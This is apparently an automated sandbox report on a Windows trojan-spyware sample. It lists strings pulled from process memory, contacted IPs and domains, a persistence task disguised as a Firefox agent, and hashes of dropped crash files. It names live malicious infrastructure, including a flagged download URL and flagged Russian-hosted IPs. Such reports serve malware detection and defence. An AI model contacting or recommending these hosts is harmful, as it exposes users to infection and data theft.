http://tempuri.org/Entity/Id12Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	2203.exe, 00000029.00000002.934336036.00000000035D6000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	2203.exe, 00000018.00000002.866100742.0000000003981000.00000004.00000001.sdmp, 2203.exe, 00000029.00000000.858504517.0000000000402000.00000040.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://file-file-host4.com/sqlite3.dlljRZI	DDEE.exe, 00000015.00000003.817123543.00000000006D7000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2203.exe, 00000029.00000002.934064800.0000000003448000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933993363.0000000003432000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.965065647.00000000042C3000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.801834584.0000022D90EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	2203.exe, 00000029.00000002.934336036.00000000035D6000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	2203.exe, 00000029.00000002.931944510.0000000003260000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	2203.exe, 00000029.00000002.934336036.00000000035D6000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://file-file-host4.com/sqlite3.dlljYZ	DDEE.exe, 00000015.00000003.817123543.00000000006D7000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2203.exe, 00000029.00000002.933756508.0000000003370000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.951111083.0000000004252000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.934064800.0000000003448000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933993363.0000000003432000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.965065647.00000000042C3000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	2203.exe, 00000029.00000002.933756508.0000000003370000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.951111083.0000000004252000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.934064800.0000000003448000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933993363.0000000003432000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.965065647.00000000042C3000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000000E.00000003.777226840.0000022D91792000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.777471127.0000022D91C19000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.777425709.0000022D91C19000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://get.adob	2203.exe, 00000029.00000002.934336036.00000000035D6000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.934869668.0000000003689000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	2203.exe, 00000029.00000002.934336036.00000000035D6000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 0000000E.00000003.774974894.0000022D9175F000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.774842493.0000022D917CE000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.774743808.0000022D917AF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id3Response	2203.exe, 00000029.00000002.934142576.00000000034C9000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	2203.exe, 00000029.00000002.931898078.00000000031D1000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	2203.exe, 00000029.00000002.933756508.0000000003370000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.951111083.0000000004252000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.934064800.0000000003448000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933993363.0000000003432000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.965065647.00000000042C3000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.7.214.239	unknown	France	42652	DELUNETDE	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	false
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
52.101.24.0	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	false
67.199.248.14	bitly.com	United States	396982	GOOGLE-PRIVATE-CLOUDUS	false
94.142.141.254	patmushta.info	Russian Federation	35196	IHOR-ASRU	false
198.11.172.78	host-data-coin-11.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
67.199.248.10	bit.ly	United States	396982	GOOGLE-PRIVATE-CLOUDUS	false
91.243.44.130	unknown	Russian Federation	395092	SHOCK-1US	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	548971
Start date:	06.01.2022
Start time:	21:02:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	7NAzyCWRyM.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@56/26@55/15
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 28.7% (good quality ratio 18.5%) Quality average: 48.2% Quality standard deviation: 41.1%
HCA Information:	Successful, ratio: 57% Number of executed functions: 211 Number of non-executed functions: 187
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 92.122.145.220, 20.54.110.249, 20.195.51.108, 40.91.112.76, 20.42.73.29, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, consumer-displaycatalogrp-aks2aks-asia.md.mp.microsoft.com.akadns.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, displaycatalog-rp-asia.md.mp.microsoft.com.akadns.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, sea-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, watson.telemetry.microsoft.com, microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:03:43	Task Scheduler	Run new task: Firefox Default Browser Agent 29A8E57798C91EB7 path: C:\Users\user\AppData\Roaming\rffhjft
21:03:58	API Interceptor	7x Sleep call for process: svchost.exe modified
21:04:11	API Interceptor	1x Sleep call for process: WerFault.exe modified
21:04:16	API Interceptor	1x Sleep call for process: DDEE.exe modified
21:04:56	API Interceptor	1x Sleep call for process: 9A8F.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8633.exe_5458939a10bb27232b284cf85f3e7f7cbf965f65_a8a30b20_183dd4a8\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8123403228218663
Encrypted:	false
SSDEEP:	96:HcF0z27ZThQoW7RR6tpXIQcQhc6ihcEVcw3Sz+HbHg/opAnQ0DFQ3qOEX/OyEmBS:8+q7NHv+f2wj1f/u7sjS274ItL
MD5:	AF9276A23587EA22D8C87F1AB9474E0B
SHA1:	5AA2297FAF79F93BDCB3B30B6F0D79A8ABCC6F3C
SHA-256:	602C4E89D439918887983F8D1115005994434C74B7AD5A0777BF7F39578574C0
SHA-512:	99E54246DC3CC36D79B996B921F6EA0FD431D1339F0530C32FD77457DE901D0AFD8F3F2B271AA1DD590ACAD2E3B8ACBE937A2CE8B6DB31DC3254A80CFF18C499
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.5.9.7.3.0.4.2.8.2.6.8.7.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.5.9.7.3.0.5.0.1.8.6.2.1.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.d.2.2.9.8.f.0.-.2.9.6.a.-.4.8.c.d.-.b.4.3.f.-.d.f.7.e.9.1.8.f.e.c.b.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.a.7.1.7.4.b.-.0.2.4.1.-.4.0.2.b.-.b.a.6.b.-.e.6.a.1.b.6.f.1.b.0.6.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.6.3.3...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.4.-.0.0.0.1.-.0.0.1.b.-.3.8.e.5.-.e.6.8.7.3.8.0.3.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.2.c.6.5.0.2.a.d.b.f.6.8.a.b.6.3.b.1.d.2.3.1.6.f.1.e.8.2.2.7.3.0.0.0.0.f.f.f.f.!.0.0.0.0.1.8.d.b.5.5.c.5.1.9.b.b.e.1.4.3.1.1.6.6.2.a.0.6.f.a.e.e.c.c.9.7.5.6.6.e.2.a.f.d.!.8.6.3.3...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA93E.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	52888
Entropy (8bit):	3.04617108376349
Encrypted:	false
SSDEEP:	1536:CIH1lsoOgnq/xJz6CTWL+S8tr2L9Nxev6nO/13:CIH1lsoOgnq/xJz6CTWL+S8tr2L9jevB
MD5:	5076B1567C08E40339B24AE312DA5BC6
SHA1:	118BAD52C669BEF370833AEC64A7C8A415FA5A3F
SHA-256:	785F7A47E9C219BECC19BB979ED390447D66DAAF77BC5B22D7E709E43A0805A7
SHA-512:	A5198977DFC63764CC8F646F2F2C3769EE24A0E2F06F9E10A6E7481D39845B0AC9F907B10DC4CE127D8BF8BE0D96BE0FB7653E97A859A079ED2F3154F751249F
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD85.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695840087223537
Encrypted:	false
SSDEEP:	96:9GiZYWFvPhniY1Yo2WjQaCH/UYEZlTtAiSN3wcwG8KzUDaXUWMxeaDgI+x3:9jZDWiLQ2m1EaXU1xea7+x3
MD5:	7A74F5E19D1EE9A5E72A2222504B051C
SHA1:	9487F0E47C708BDB697491A58744ACA91F55C971
SHA-256:	0B7A339B19C25CD5EC443B22413EFA79645DD73AF2C5E8D09107DFD2BFE9E92F
SHA-512:	C3E923603492A247A234354D37824F692631B9FBE2990D601CF2D3A8F7ED653920E29A9260352B3DE7A3DE211BF29C6B814B1C704C32571156B59DA42775379C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB1DE.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jan 6 20:04:04 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	55196
Entropy (8bit):	2.22784181226574
Encrypted:	false
SSDEEP:	192:0WMAm9AfxCOfIFVGO6VeScg5R0oRSJeC0fwoS3IxjMsOnBkhKLv9PDg60gGGu42n:9sIIFD6yeWEGnEMNs2u42b7
MD5:	8AF78D9F3526E1B1C25A5328826434FE
SHA1:	CAEF928CD54B5D448481FAE22F84B74DE79F05D7
SHA-256:	16E9069AB6FEA0283CCCFE2C308EC9C2C234BAF790FA5079D0C011284979FD48
